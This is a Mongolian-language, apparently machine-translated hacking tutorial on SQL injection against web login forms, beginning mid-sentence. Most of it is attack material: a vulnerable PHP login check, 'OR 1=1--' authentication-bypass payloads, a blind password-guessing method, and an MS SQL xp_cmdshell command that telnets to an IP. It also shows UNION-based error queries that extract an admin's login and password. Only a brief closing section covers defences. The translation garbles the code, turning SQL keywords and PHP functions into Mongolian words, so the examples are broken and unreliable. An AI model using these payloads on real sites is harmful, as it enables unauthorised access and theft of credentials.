нягтлан бодох бүртгэл, боловсон хүчний зохион байгуулалт, гэхдээ тэд мөн програмаа интернетээс олсон.

Өгөгдлийн санг ихэвчлэн вэб програм бичихэд ашигладаг. Тэдгээрийн хэрэглээ нь хэрэглэгчийн бүртгэлийн өгөгдөл, сессийн ID-г хадгалах, хайлтыг зохион байгуулах болон илүү их боловсруулалт шаарддаг бусад ажлуудад хамгийн тохиромжтой.
өгөгдлийн хэмжээ. Өгөгдлийн санд нэвтрэхийн тулд серверийн технологийг ашигладаг: PHP, PERL, ASP гэх мэт. Эндээс л зугаа цэнгэл эхэлдэг. Сервер дээр байх үед
бүх засваруудыг суулгасан бөгөөд галт хана нь 80-аас бусад бүх портыг блоклодог эсвэл зарим өгөгдөлд хандахын тулд баталгаажуулалт шаардлагатай үед хакер хакердахын тулд SQL Injection ашиглаж болно. Энэхүү халдлагын мөн чанар нь WEB технологи болон SQL-ийн огтлолцол дээрх алдааг ашиглах явдал юм. Гол нь маш олон вэб хуудсуудхэрэглэгчийн өгөгдлийг боловсруулахын тулд тусгай SQL DB асуулга. Энэ техникийг хайхрамжгүй ашиглах нь нэлээд сонирхолтой үр дүнд хүргэдэг ...

SQL тарилга

Энэ халдлагыг тайлбарлахын тулд та маш чухал хэрэгслийг татаж авахаар сайт руу очсон гэж төсөөлөөд үз дээ, зөвхөн бүртгэлтэй хэрэглэгч үүнийг хийж чадна гэдгийг аймшигтай анзаарсан бөгөөд бүртгэл нь мэдээжийн хэрэг мөнгө шаарддаг. Хэрхэн гэдгийг санах цаг болжээ
мэдээллийн санд хандах SQL. Жишээлбэл, PHP дээр хэрэглэгчийн нэр, нууц үг шалгах нь дараах байдалтай байж болно.

$result=mysql_db_query($db,"СОНГОХ * FROM $хүснэгт ХААНА хэрэглэгч="$нэвтрэх" БОЛОН
нэвтрүүлэх = "$ нууц үг"");
$тоо_мөр=mysql_тоо_мөр($үр дүн);
mysql_close($линк);
хэрэв ($тоо_мөр!=0)
{
// БАТАЛГАА ОК
}
өөр
{
// БАТАЛГААНЫ АЛДАА
}

Би "AUTENTICATION OK" гэсэн хоёр тайлбар нэмсэн - оронд нь оруулах ёстой
нууц үг болон нэвтрэх зөв бол гүйцэтгэх код руу очно уу. Өөр нэг "Баталгаажуулалтын алдаа" бол кодыг тайлбарлах газар бөгөөд тэдгээрийг буруу оруулсан тохиолдолд гүйцэтгэдэг. Хэрэв та маягтыг бөглөвөл хүсэлт нь "http://www.server.com?login=user&password=31337" шиг харагдах бөгөөд www.server.com нь нэр юм.
бидний холбогдохыг оролдож буй сервер. Бид хайж байсан зүйлээ олсон тул бид дахин ажилдаа эргэн орох болно SQL. Тиймээс, хэрэв та зөвшөөрөл авахын тулд нэвтрэх болон нууц үгээ зааж өгөх шаардлагатай бол үүсгэсэн болно SQLхүсэлт дараах байдлаар харагдах болно.

login="user" БОЛОН Хэрэглэгчээс * СОНГОХ
нууц үг = "31337"

Энэ нь үүнтэй төстэй зүйл гэсэн үг юм: хэрэглэгчийн мэдээллийн сангаас "хэрэглэгч" нэвтрэх болон "31337" нууц үг бүхий бүх бүртгэлийг надад буцааж өгнө үү. Хэрэв ийм бүртгэл байгаа бол хэрэглэгч бүртгэгдсэн, гэхдээ байхгүй бол үгүй ​​... Гэхдээ тодорхой нөхцөлд бүх зүйлийг засах боломжтой. Энэ нь програм нь дамжуулагдсан өгөгдлийн агуулгыг шалгаагүй эсвэл бүрэн бус шалгаж байгаа нөхцөл байдлыг хэлнэ. SQLзааварчилгаа. Энэ жишээн дээр нэвтрэх болон нууц үг гэсэн хоёр талбарыг шалгасан боловч нууц үг нь "31337" ба цахим шуудан = " [имэйлээр хамгаалагдсан]"(давхар хашилтгүй) дараа нь асуулга арай өөр болж хувирна:

login="user" ба нууц үг="31337" БОЛОН Хэрэглэгчээс * СОНГОХ
имэйл = [имэйлээр хамгаалагдсан]"

Хэрэв имэйлийн талбар байгаа бол энэ нөхцөлийг мөн шалгах болно. Хэрэв та Булийн алгебрын үндсийг санаж байвал "ба" үйлдлээс гадна "эсвэл" гэсэн үйлдэл байдаг бөгөөд тэдгээрийн хэрэглээ SQL-ээр дэмжигддэг тул та үүнийг хийх боломжтой.
тайлбарласан арга замаар үргэлж үнэнийг буцаадаг нөхцөлийг нэмнэ. Үүнийг хэрэгжүүлэхийн тулд нэвтрэх хэлбэрээр "хэрэглэгч" OR 1=1--" гэж зааж өгөх шаардлагатай бөгөөд энэ тохиолдолд хүсэлт дараах хэлбэртэй байна.

Хэрэглэгчээс * ХААНА login = "хэрэглэгч" ЭСВЭЛ 1=1--" БА ГЭДГИЙГ СОНГОХ
нууц үг = "31337"

Эхлээд та "--" гэдэг нь хүсэлтийн төгсгөл, "--"-ээс хойшхи бүх зүйл гэдгийг мэдэж байх ёстой.
боловсруулагдахгүй! Бид хүсэлт тавьсан бололтой:

Хэрэглэгчээс * ХААНА login="user" ЭСВЭЛ 1=1-ийг СОНГОХ

Таны харж байгаагаар бид "1=1" нөхцөлийг нэмсэн бөгөөд энэ нь баталгаажуулах шалгуур нь "хэрэв нэвтрэх нь "хэрэглэгч" эсвэл 1=1" байх боловч 1 нь үргэлж 1-тэй тэнцүү байна (цорын ганц үл хамаарах зүйл нь Дани Шеповаловын арифметик байх :)). Бидний сэжиглэлийг шалгахын тулд
бид "http://www.server.com?login=user or 1=1--&password=31337" хаягийн мөрөнд цохино. Энэ нь бидний зааж өгсөн нэвтрэх нь хамаагүй, гэхдээ энэ нь хүргэж байна
ялангуяа нууц үг! Мөн бид матрицад байгаа ... өө, системд байгаа бөгөөд бид хэрэгтэй зүйлээ аюулгүйгээр татаж авах боломжтой.

Гэхдээ энэ бүхэн онолын хувьд. Практикт бид хүсэлтийг хэрхэн бүрдүүлж, ямар өгөгдөл, ямар дарааллаар дамжуулж байгааг мэдэхгүй байна. Иймд та бүх талбарт "хэрэглэгч" ЭСВЭЛ 1=1--" гэж зааж өгөх ёстой. Мөн илгээх маягтаас далд талбар байгаа эсэхийг шалгах хэрэгтэй. HTML дээр тэдгээрийг " гэж тодорхойлсон байдаг. ". Хэрэв байгаа бол хуудсыг хадгалж, эдгээр талбаруудын утгыг өөрчил. Тэдгээрт агуулагдсан утгууд нь SQL заавар байгаа эсэхийг шалгахаа мартдаг. Гэхдээ бүх зүйлийг хийхийн тулд ажиллахын тулд та энэ хүсэлтийг хариуцдаг "ACTION" параметрийн маягт дахь скриптийн бүрэн замыг ("FORM" шошго) зааж өгөх ёстой.

Гэхдээ хүсэлт хэрхэн бүрддэг нь үргэлж мэдэгддэггүй.
Өмнөх жишээг дараах байдлаар үүсгэж болно.

* ХААНААС хэрэглэгчдийг сонгох (нэвтрэх = "хэрэглэгч" ба нууц үг = "31337")
Нэвтрэх = "хэрэглэгч" ба нууц үг = = "31337" ХААНААС хэрэглэгчдээс * СОНГОХ
Нэвтрэх=хэрэглэгч ба нууц үг=31337 ГЭДЭГ Хэрэглэгчээс * СОНГОХ

Энэ тохиолдолд та дараах сонголтыг туршиж үзэж болно.

"ЭСВЭЛ 1=1--
"ЭСВЭЛ 1=1--
OR1=1--
" OR "a"="a
" OR "a"="a
") OR ("a"="a
ЭСВЭЛ "1"="1"

Энэ бүхэн скриптийн зорилго, програмистаас хамаарна. Хүн бүр бүх зүйлийг өөрийнхөөрөө хийх хандлагатай байдаг тул програмист хамгийн хялбар сонголтыг сонгохгүй байх магадлалтай. Тиймээс та нэн даруй хийх ёсгүй
татгалзсан бол бууж өг. Шаардлагатай
аль болох олон сонголтыг туршиж үзээрэй ...

Нууц үг илрүүлэх

Зөвшөөрлийг алгасах нь тийм ч муу зүйл биш боловч ихэнхдээ таны ашигладаг нүх хаагдаж, танд боломжтой байсан бүх зүйл алга болдог.
Хэрэв програмист тэнэг биш бол үүнийг хүлээх хэрэгтэй
цаг хугацаа өнгөрөхөд бүх цоорхойг нөхөх болно. Ийм нөхцөл байдлаас урьдчилан сэргийлж чадвал амархан салж чадна. Зөв шийдэл бол нууц үгээ таах явдал юм
баталгаажуулалтын үр дүнд дүн шинжилгээ хийх. Эхлээд бид нууц үгээ таах гэж оролддог бөгөөд үүний тулд бид түүний байрлалыг оруулна.

"ЭСВЭЛ нууц үг>"a

Хэрэв бидэнд зөвшөөрөл олгосон гэж хэлвэл нууц үг
"а" үсгээр эхэлдэггүй, харин жагсаалтад байгаа дараах зүйлсийн аль нэгээр нь эхэлдэг. Бид цаашаа явж, орлуулах болно
"a", дараагийн "b", "c", "d", "e"... гэх мэтийг байрлуул. нууц үг буруу байна гэж хэлэх хүртэл. Энэ процессыг "x" тэмдэгт дээр зогсоогоорой, энэ тохиолдолд нөхцөл байдлыг хөгжүүлэх хоёр хувилбар бий болж, нууц үг олдох эсвэл энэ тэмдэгт дээр нууц үг уншина. Эхний сонголтыг шалгахын тулд нууц үгийн газрыг бичнэ үү:

" ЭСВЭЛ нууц үг="x

Хэрэв нууц үгийг хүлээн зөвшөөрч, таныг оруулахыг зөвшөөрсөн бол та нууц үгийг таасан байна! За, үгүй, тэгвэл та хоёр дахь дүрийг сонгох хэрэгтэй,
эхнээсээ яг адилхан. Хоёр тэмдэгтийг шалгана уу
адилхан хэрэгтэй. Төгсгөлд нь та нууц үг хүлээн авах бөгөөд та ижил аргаар нэвтрэхийг хайж байна 🙂
Хэрэв олсон нууц үг, нэвтрэх нэр танд тохирохгүй бол та бусдыг олох боломжтой. Үүнийг хийхийн тулд та олсон нууц үгийн сүүлчийн тэмдэгтээс шалгаж эхлэх хэрэгтэй. Тиймээс хэрэв нууц үг нь "xxx" байсан бол нууц үг байгаа эсэхийг шалгах шаардлагатай
"xxy":

" ЭСВЭЛ нууц үг="xxx

ямар ч сонголтыг алдахгүйн тулд!

MS SQL сервер

MS SQL серверерөнхийдөө шаардлагатай шүүлтийг орхигдуулсан бол бурхны хишиг. SQL Injection-ийн эмзэг байдлыг ашиглан та ажиллуулж болно
exec master..xp_cmdshell ашиглан алсын сервер дээрх командууд. Гэхдээ энэ бүтээн байгуулалтыг ашиглахын тулд
та "СОНГОХ" үйлдлийг дуусгах хэрэгтэй. SQL-д мэдэгдлүүд нь цэг таслалаар тусгаарлагддаг. Тиймээс, энэ нь Telnet-ээр дамжуулан зарим IP-тэй холбогдох тул та нууц үг / нэвтрэх газраа бичих хэрэгтэй.

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server нь мэдээллийн санд хадгалагдсан нэвтрэх нэр, нууц үгийг олж мэдэх боломжийг олгодог хэд хэдэн сонирхолтой функцуудтай. Үүнийг хийхийн тулд алдааны гаралтыг дурын сервер рүү дахин чиглүүлж, тэдгээрээр дамжуулдаг
дүн шинжилгээ хийснээр та хүснэгтийн нэр, талбар, тэдгээрийн төрлийг олж мэдэх боломжтой. Дараа нь та хүсэлт гаргаж болно

" UNION SELECT TOP 1 login FROM Хэрэглэгчээс--

(нэвтрэх нь нэвтрэх мэдээллийг агуулсан талбарын нэр, хэрэглэгчид нь хүснэгтийн нэр,
алдааны шинжилгээний үйл явцад хагас эрдэмтэд).

Хариулт нь:


"admin.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/default.asp, мөр 27

Одоо бид "админ" нэртэй хэрэглэгч байгааг мэдэж байна. Одоо бид түүний нууц үгийг авч болно:

" UNION "Нэвтрэх = "админ"----г ашигладаг хэрэглэгчдээс ШИЛДЭГ 1 нууц үгээ сонго.

Үр дүн:

ODBC драйверуудад зориулсан Microsoft OLE DB үйлчилгээ үзүүлэгчийн алдаа "80040e07"
"xxx.) nvarchar утгыг хөрвүүлэх синтакс алдаа гарлаа" to a column of data type int. !}
/tedault.asp, мөр 27

Одоо бид "ххх" нууц үгтэй "админ" хэрэглэгч байгааг мэдэж байна. Үүнийг аюулгүйгээр хийж болно
ашиглаад системд нэвтэрнэ үү 😉

Гэхдээ SQL-тэй ажиллах өөр олон функцууд байдаг.
Өгөгдлийн сантай ажиллахдаа та өгөгдлийг устгах, өөрчлөх, өөрөө оруулах, тэр ч байтугай файлуудыг удирдах, бүртгэлтэй ажиллах боломжтой.
Ерөнхийдөө SQL серверийн дүрмүүд 🙂

Хамгаалалт

Гэхдээ энэ бүхнээс зайлсхийх нь мэдээжийн хэрэг. Үүний тулд та чадна
шүүлтүүрүүдийг ашиглах
үйлдвэрлэгчдээс хангадаг. Та өөрийн шийдлийг олох боломжтой, жишээлбэл, бүгдийг нь солих боломжтой
давхар хашилт (хэрэв SQLхүсэлт, бид дан ашигладаг), эсвэл эсрэгээр. Та оруулах шаардлагатай тохиолдолд зөвхөн үсэг болон s@baki ашиглахыг зөвшөөрөх боломжтой
имэйл хаяг. Мөн сувдан дотор гайхалтай зүйл байдаг
DBI::DBD модуль дахь 🙂 quote() функц нь таны асуулгыг аюулгүй болгодог. SQL. Олон шийдэл байдаг, танд хэрэгтэй
давуу талыг ашиглах. Үгүй бол яагаад энэ бүхэн ...



Ачааж байна...
Топ